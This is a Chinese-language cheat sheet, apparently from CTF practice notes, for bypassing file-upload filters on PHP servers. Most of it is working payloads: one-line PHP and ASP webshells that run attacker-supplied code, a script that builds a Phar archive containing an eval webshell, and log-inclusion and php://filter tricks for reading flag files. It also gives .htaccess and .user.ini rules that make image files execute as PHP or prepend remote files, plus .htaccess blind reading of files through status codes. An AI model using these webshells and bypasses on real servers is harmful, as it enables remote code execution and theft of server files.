如果一句话木马已经不好传了,可以尝试直接传php语句,执行命令
单语句可以不写分号,如:<? system(‘ls’)?>
一句话木马
1
| <?php @eval($_POST['pass']);?>
|
1
| <?= @eval($_POST['pass']);?>
|
1 2 3 4 5 6
| <?= array_map("assert",$_REQUEST)?> assert会执行传递给它的PHP代码 例:http:
<?= array_map("system",$_REQUEST)?> 例:http:
|
1 2 3 4 5 6
| <?php
array_map(function($value) { system('ls'); }, $_REQUEST); ?>
|
1 2
| <?=include'/var/l'.'og/nginx/access.l'.'og'?> 日志注入,将日志包含到当前目录php文件中
|
1
| <?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
|
1
| <script language="php">@eval($_POST[1]);</script>
|
1
| <%execute(request("x"))%>
|
Phar伪协议绕过
1 2 3 4 5 6 7 8 9
| <?php $payload = '<?php eval($_POST["pass"]); ?>'; $phar = new Phar("upload.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->addFromString("67.php", "$payload"); $phar->stopBuffering(); ?>
|
1 2 3
| phar文件只用stub来判断是否为phar文件,所以后缀可以随便改 当使用 PHP 的 phar: 所以对于php文件来说这是个文件夹
|
使用phar进行文件上传时通常需要结合phar伪协议来攻击
字符绕过
1 2 3 4
| 大小写绕过:如Php 短标签绕过:<?= ?>,<? ?> 中括号绕过:{} 双写绕过:pphphp
|
.htaccess绕过 //适用Apache服务器
1 2 3 4
| #设置文件处理方式 <FilesMatch "1.png"> SetHandler application/x-httpd-php </FilesMatch>
|
1 2
| AddType application/x-httpd-php .png php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/u/test.gif"
|
.htaccess盲注
成功返回200,失败返回403
1
| Require expr file('/flag') =~ m#^UniCTF{.*#
|
成功返回403,失败返回200
1 2 3
| RewriteEngine On RewriteCond expr "file('/flag') =~ /^UniCTF{.*/" RewriteRule ^ - [F]
|
.user.ini绕过 //前提.user.ini文件所在目录有.php文件
1 2 3 4
| #只影响php文件 auto_prepend_file:在文件前插入
auto_append_file:在文件最后插入
|
可以添加图片头,绕过一些限制
1 2
| GIF89a auto_prepend_file=1.png
|
有以下几种方式
1 2 3 4
| auto_prepend_file=/path/to/flag.php auto_prepend_file=flag auto_prepend_file=http://example.com/test auto_prepend_file=http://2130706433/test //2130706433为127.0.0.1的长整型格式,通常为服务器d
|